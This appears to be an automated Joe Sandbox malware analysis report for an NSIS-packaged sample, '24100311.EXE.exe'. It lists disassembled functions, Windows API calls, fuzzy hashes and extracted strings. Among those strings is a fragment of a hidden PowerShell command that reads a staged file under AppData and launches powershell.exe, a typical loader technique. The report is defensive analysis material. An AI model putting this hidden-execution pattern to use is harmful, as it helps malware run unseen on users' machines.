Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 1093b80bdde5f117a2aeaff90f04fc035896fcf98737a4a628a8a679d5dfa397
Instruction ID: 17741e7b15207d6702ed9fc8e7bdeca0d2b34881c01bff23dce0e4374d0b2feb
Opcode Fuzzy Hash: 1093b80bdde5f117a2aeaff90f04fc035896fcf98737a4a628a8a679d5dfa397
Instruction Fuzzy Hash: 1FD0C7315051205BD24116346D4C84765985F55331311CA36B4A5F11A0C7348C3246AC

Function 00402902 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(00000000,?,00000002), ref: 00402911

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: a4cb163a7d91971bb3cc2f8413b65b1a08e5d81cfbd66f3d87d9e3c78b3df682
Instruction ID: e1d09971df8357d0b6d26b0e23bbdd0a86073f761c05595cd8bb911c59de634c
Opcode Fuzzy Hash: a4cb163a7d91971bb3cc2f8413b65b1a08e5d81cfbd66f3d87d9e3c78b3df682
Instruction Fuzzy Hash: C9F08C71A00104AFC700DFA4ED499AEB378EF10314F70857BE916F21E0D7B89E119B2A

Function 00403FB9 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403FF5
ShowWindow.USER32(?), ref: 00404012
DestroyWindow.USER32 ref: 00404026
SetWindowLongW.USER32(?,00000000,00000000), ref: 00404042
GetDlgItem.USER32(?,?), ref: 00404063
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00404077
IsWindowEnabled.USER32(00000000), ref: 0040407E
GetDlgItem.USER32(?,00000001), ref: 0040412C
GetDlgItem.USER32(?,00000002), ref: 00404136
SetClassLongW.USER32(?,000000F2,?), ref: 00404150
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 004041A1
GetDlgItem.USER32(?,00000003), ref: 00404247
ShowWindow.USER32(00000000,?), ref: 00404268
KiUserCallbackDispatcher.NTDLL(?,?), ref: 0040427A
EnableWindow.USER32(?,?), ref: 00404295
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 004042AB
EnableMenuItem.USER32(00000000), ref: 004042B2
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 004042CA
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004042DD
lstrlenW.KERNEL32(00423748,?,00423748,00000000), ref: 00404307
SetWindowTextW.USER32(?,00423748), ref: 0040431B
ShowWindow.USER32(?,0000000A), ref: 0040444F

Strings

H7B, xrefs: 004042F7

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: H7B
API String ID: 3282139019-2300413410
Opcode ID: baf4e7a206198340e70a19425564cab513a6069eacfac64f5b5b997afbf4e255
Instruction ID: 474293f91904d384e756f83d9200f154ec1a476d51ccc5c10f5d023ba508d08e
Opcode Fuzzy Hash: baf4e7a206198340e70a19425564cab513a6069eacfac64f5b5b997afbf4e255
Instruction Fuzzy Hash: 17C1B1B1600604FBCB216F61EE85E2A7BB8EB84705F40497EF741B51F1CB3958529B2E

Function 00403C0B Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406931: GetModuleHandleA.KERNEL32(?,00000020,?,0040364A,0000000B), ref: 00406943
Part of subcall function 00406931: GetProcAddress.KERNEL32(00000000,?), ref: 0040695E

lstrcatW.KERNEL32(1033,00423748,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423748,00000000,00000002,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\24100311.EXE.exe",00000000), ref: 00403C8C
lstrlenW.KERNEL32(: Completed,?,?,?,: Completed,00000000,C:\Users\user\AppData\Local\Decentraliseringers\misdidived,1033,00423748,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423748,00000000,00000002,74DF3420), ref: 00403D0C
lstrcmpiW.KERNEL32(?,.exe,: Completed,?,?,?,: Completed,00000000,C:\Users\user\AppData\Local\Decentraliseringers\misdidived,1033,00423748,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423748,00000000), ref: 00403D1F
GetFileAttributesW.KERNEL32(: Completed), ref: 00403D2A
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\Decentraliseringers\misdidived), ref: 00403D73

Part of subcall function 00406483: wsprintfW.USER32 ref: 00406490

RegisterClassW.USER32(00429200), ref: 00403DB0
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403DC8
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403DFD
ShowWindow.USER32(00000005,00000000), ref: 00403E33
GetClassInfoW.USER32(00000000,RichEdit20W,00429200), ref: 00403E5F
GetClassInfoW.USER32(00000000,RichEdit,00429200), ref: 00403E6C
RegisterClassW.USER32(00429200), ref: 00403E75
DialogBoxParamW.USER32(?,00000000,00403FB9,00000000), ref: 00403E94

Strings

1033, xrefs: 00403C2B, 00403C87
RichEdit, xrefs: 00403E66
C:\Users\user\AppData\Local\Temp\, xrefs: 00403C10
_Nb, xrefs: 00403D8F, 00403DF7
C:\Users\user\AppData\Local\Decentraliseringers\misdidived, xrefs: 00403C9B, 00403CA3, 00403D46, 00403D4C, 00403D5C
H7B, xrefs: 00403C37
"C:\Users\user\Desktop\24100311.EXE.exe", xrefs: 00403C0F
.exe, xrefs: 00403D19
Control Panel\Desktop\ResourceLocale, xrefs: 00403C3F
.DEFAULT\Control Panel\International, xrefs: 00403C77
RichEd20, xrefs: 00403E39
: Completed, xrefs: 00403CD3, 00403CDC, 00403CEA, 00403D39, 00403D3F
RichEd32, xrefs: 00403E47
RichEdit20W, xrefs: 00403E57, 00403E5D

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\24100311.EXE.exe"$.DEFAULT\Control Panel\International$.exe$1033$: Completed$C:\Users\user\AppData\Local\Decentraliseringers\misdidived$C:\Users\user\AppData\Local\Temp\$Control Panel\Desktop\ResourceLocale$H7B$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1751133988
Opcode ID: 92681064c2eb18a8eb976b4004cb2b2121f5eb92f5676c9d8e5c00cebc89f70e
Instruction ID: e394074358681fdac01dfd3b015b47ae0866f78f7b6160babfbfeef1d79938ee
Opcode Fuzzy Hash: 92681064c2eb18a8eb976b4004cb2b2121f5eb92f5676c9d8e5c00cebc89f70e
Instruction Fuzzy Hash: EA61D570240200BAD720AF66AD45F2B3A7CEB84B09F40457FF941B22E2CB7D9D12867D

Function 00403068 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 204
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040307C
GetModuleFileNameW.KERNEL32(00000000,00438800,00000400), ref: 00403098

Part of subcall function 00406032: GetFileAttributesW.KERNELBASE(00000003,004030AB,00438800,80000000,00000003), ref: 00406036
Part of subcall function 00406032: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00406058

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,00438800,00438800,80000000,00000003), ref: 004030E1
GlobalAlloc.KERNELBASE(00000040,0040A230), ref: 00403223

Strings

Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004032BA
Error writing temporary file. Make sure your temp folder is valid., xrefs: 0040326C
C:\Users\user\AppData\Local\Temp\, xrefs: 00403072, 0040323B
Null, xrefs: 0040315F
"C:\Users\user\Desktop\24100311.EXE.exe", xrefs: 00403068
Inst, xrefs: 0040314D
C:\Users\user\Desktop, xrefs: 004030C3, 004030C8, 004030CE
soft, xrefs: 00403156
Error launching installer, xrefs: 004030B8

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\Desktop\24100311.EXE.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-3265705940
Opcode ID: 1dc0eec721484fee0a0620382b9e92bea3965d2c0a2ac150155376b746aa34ce
Instruction ID: 3c019e557a6e0d840000321a6ffc1a5a74fe8930866e2d2a4a5af375f72a0401
Opcode Fuzzy Hash: 1dc0eec721484fee0a0620382b9e92bea3965d2c0a2ac150155376b746aa34ce
Instruction Fuzzy Hash: 9B71E431A00204ABDB20DF64DD85B5E3EBCAB18315F2045BBF901B72D2D7789E458B6D

Function 00406579 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 209
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(: Completed,00000400), ref: 004066BA
GetWindowsDirectoryW.KERNEL32(: Completed,00000400,00000000,Crenature,?,004055DB,Crenature,00000000), ref: 004066CD
SHGetSpecialFolderLocation.SHELL32(004055DB,00000000,00000000,Crenature,?,004055DB,Crenature,00000000), ref: 00406709
SHGetPathFromIDListW.SHELL32(00000000,: Completed), ref: 00406717
CoTaskMemFree.OLE32(00000000), ref: 00406722
lstrcatW.KERNEL32(: Completed,\Microsoft\Internet Explorer\Quick Launch), ref: 00406748
lstrlenW.KERNEL32(: Completed,00000000,Crenature,?,004055DB,Crenature,00000000), ref: 004067A0

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040668A
Crenature, xrefs: 0040659E
-windowstyle hidden "$Forglemmelser=Get-Content -Raw 'C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing\In, xrefs: 00406776
: Completed, xrefs: 004065A3, 0040667E, 00406685, 00406689, 004066A3, 004066A4, 004066B9, 004066CC, 004066E8, 00406713, 00406747, 0040674D, 00406769, 0040677C, 00406799, 0040679F, 004067AB, 004067DE
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406742

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: -windowstyle hidden "$Forglemmelser=Get-Content -Raw 'C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing\In$: Completed$Crenature$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-2156796810
Opcode ID: 1601c4d7d9683424531442411e17d8d829d5785fc277012caaf8ee8b864246b8
Instruction ID: 6f5f2b99d90c7511299ba9a64344c15edde84ad84532d0df03b232db96096e81
Opcode Fuzzy Hash: 1601c4d7d9683424531442411e17d8d829d5785fc277012caaf8ee8b864246b8
Instruction Fuzzy Hash: BA613671601111ABDF209F14DD80AAE37A5AF10718F52403FE943B72D0DB3E5AA6CB5D

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,open,C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,open,open,00000000,00000000,open,C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing,?,?,00000031), ref: 004017D5

Part of subcall function 0040653C: lstrcpynW.KERNEL32(?,?,00000400,004036A9,00429260,NSIS Error,?,00000007,00000009,0000000B), ref: 00406549

Part of subcall function 004055A4: lstrlenW.KERNEL32(Crenature,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00403040,00000000,?), ref: 004055DC
Part of subcall function 004055A4: lstrlenW.KERNEL32(00403040,Crenature,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00403040,00000000), ref: 004055EC
Part of subcall function 004055A4: lstrcatW.KERNEL32(Crenature,00403040,00403040,Crenature,00000000,00000000,00000000), ref: 004055FF
Part of subcall function 004055A4: SetWindowTextW.USER32(Crenature,Crenature), ref: 00405611
Part of subcall function 004055A4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405637
Part of subcall function 004055A4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405651
Part of subcall function 004055A4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040565F

Strings

C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing, xrefs: 0040179E
open, xrefs: 0040178D, 00401796, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906
Forkynders\baskets\acylate, xrefs: 00401821, 0040183F
open "powershell.exe", xrefs: 00401835, 00401851

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing$Forkynders\baskets\acylate$open$open "powershell.exe"
API String ID: 1941528284-2802192432
Opcode ID: 3609216ee3f06f0c862fd5db81faf8ef7dd61e8af77c9b779afa9b65af1c9a51
Instruction ID: 1f20f3305f5cdc04e1f2059eaac63a386f89c848407f65c8aae314978641b4a4
Opcode Fuzzy Hash: 3609216ee3f06f0c862fd5db81faf8ef7dd61e8af77c9b779afa9b65af1c9a51
Instruction Fuzzy Hash: 08419431500114BACF10BFB9DD85DAE7A79EF45729B20423FF422B10E2D73C8A519A6E

Function 004055A4 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(Crenature,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00403040,00000000,?), ref: 004055DC
lstrlenW.KERNEL32(00403040,Crenature,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00403040,00000000), ref: 004055EC
lstrcatW.KERNEL32(Crenature,00403040,00403040,Crenature,00000000,00000000,00000000), ref: 004055FF
SetWindowTextW.USER32(Crenature,Crenature), ref: 00405611
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405637
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405651
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040565F

Strings

Crenature, xrefs: 004055C5, 004055D5, 004055DB, 004055FE, 0040560A

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Crenature
API String ID: 2531174081-922222023
Opcode ID: 821461bf1a3e0c9a0b9dfd66dfa0b62158b528cadb26a9773dc4f9578ba51fec
Instruction ID: cea8892cb4e31635aa5f40387e4ea582d2b984c796fabda61e5f1d3d18a4122e
Opcode Fuzzy Hash: 821461bf1a3e0c9a0b9dfd66dfa0b62158b528cadb26a9773dc4f9578ba51fec
Instruction Fuzzy Hash: E6218E71900518BACB119F65DD44ECFBFB9EF45360F54443AF904B62A0C77A4A508FA8

Function 004068C1 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004068D8
wsprintfW.USER32 ref: 00406913
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406927

Strings

%s%S.dll, xrefs: 0040690D
\, xrefs: 004068E9
UXTHEME, xrefs: 004068CA

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 63130bafcb32548bd4340548baa3f8658423137b3882cd96386db367ad08b740
